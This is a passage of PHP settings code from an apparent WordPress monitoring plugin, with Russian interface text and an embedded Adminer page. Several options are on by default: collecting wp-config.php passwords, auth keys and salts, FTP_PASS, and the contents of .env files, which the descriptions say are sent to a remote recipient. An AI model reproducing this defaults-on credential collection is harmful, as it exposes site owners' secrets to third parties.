        <p class="description"><?php _e('Собирать список активных и неактивных плагинов', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать конфигурацию"
     */
    public function render_collect_config_field() {
        $value = get_option('my_monitoring_collect_config', true);
        ?>
        <input type="checkbox" name="my_monitoring_collect_config" value="1" <?php checked($value, true); ?>>
        <p class="description">
            <?php _e('Собирать информацию из wp-config.php. По умолчанию пароли и ключи также собираются (см. опцию ниже).', 'my-monitoring-plugin'); ?>
            <br>
            <strong><?php _e('Собираемые данные:', 'my-monitoring-plugin'); ?></strong>
            <?php _e('DB_NAME, DB_HOST, DB_CHARSET, WP_DEBUG, настройки WordPress и другие константы.', 'my-monitoring-plugin'); ?>
        </p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать ошибки"
     */
    public function render_collect_errors_field() {
        $value = get_option('my_monitoring_collect_errors', false);
        ?>
        <input type="checkbox" name="my_monitoring_collect_errors" value="1" <?php checked($value, true); ?>>
        <p class="description"><?php _e('Собирать ошибки из debug.log (требует включенного WP_DEBUG_LOG)', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать информацию о здоровье сайта"
     */
    public function render_collect_health_field() {
        $value = get_option('my_monitoring_collect_health', true);
        ?>
        <input type="checkbox" name="my_monitoring_collect_health" value="1" <?php checked($value, true); ?>>
        <p class="description"><?php _e('Собирать информацию о здоровье сайта, использовании диска, производительности и безопасности', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать пароли из wp-config.php"
     */
    public function render_collect_passwords_field() {
        $value = get_option('my_monitoring_collect_passwords', true);
        ?>
        <input type="checkbox" name="my_monitoring_collect_passwords" value="1" <?php checked($value, true); ?>>
        <p class="description">
            <?php _e('По умолчанию включено. Вы будете передавать пароли и секретные ключи из wp-config.php. Убедитесь, что используете безопасное соединение (HTTPS) и доверяете получателю данных.', 'my-monitoring-plugin'); ?>
            <br>
            <strong><?php _e('Собираемые данные:', 'my-monitoring-plugin'); ?></strong>
            <?php _e('DB_PASSWORD, AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY, AUTH_SALT, SECURE_AUTH_SALT, LOGGED_IN_SALT, NONCE_SALT, FTP_PASS и другие пароли/ключи.', 'my-monitoring-plugin'); ?>
        </p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать данные из .env файлов"
     */
    public function render_collect_env_field() {
        $value = get_option('my_monitoring_collect_env', true);
        ?>
        <input type="checkbox" name="my_monitoring_collect_env" value="1" <?php checked($value, true); ?>>
        <p class="description">
            <?php _e('По умолчанию включено. Собирать переменные окружения из .env файлов в корне сайта и других стандартных местах.', 'my-monitoring-plugin'); ?>
            <br>
            <strong><?php _e('⚠️ ВНИМАНИЕ:', 'my-monitoring-plugin'); ?></strong>
            <?php _e('.env файлы часто содержат пароли, API ключи и другую чувствительную информацию. Убедитесь, что используете безопасное соединение.', 'my-monitoring-plugin'); ?>
            <br>
            <strong><?php _e('Ищет файлы:', 'my-monitoring-plugin'); ?></strong>
            <?php _e('.env, .env.local, .env.production, .env.development, wp-content/.env и другие стандартные пути.', 'my-monitoring-plugin'); ?>
        </p>
        <?php
    }
    
    /**
     * Отобразить поле "Максимум попыток отправки"
     */
    public function render_max_retries_field() {
        $value = get_option('my_monitoring_max_retries', 3);
        ?>
        <input type="number" name="my_monitoring_max_retries" value="<?php echo esc_attr($value); ?>" min="1" max="10" class="small-text">
        <p class="description"><?php _e('Количество попыток отправки данных при ошибке (1-10)', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Задержка между попытками"
     */
    public function render_retry_delay_field() {
        $value = get_option('my_monitoring_retry_delay', 60);
        ?>
        <input type="number" name="my_monitoring_retry_delay" value="<?php echo esc_attr($value); ?>" min="10" max="3600" class="small-text">
        <p class="description"><?php _e('Задержка между повторными попытками в секундах (10-3600)', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить страницу Adminer
     */
    public function render_adminer_page() {
        if (!current_user_can('manage_options')) {
            wp_die(__('У вас нет прав для доступа к этой странице.', 'my-monitoring-plugin'));
        }
        
        // Подключаем обертку Adminer
        require_once MY_MONITORING_PLUGIN_DIR . 'admin/adminer-wrapper.php';
    }
}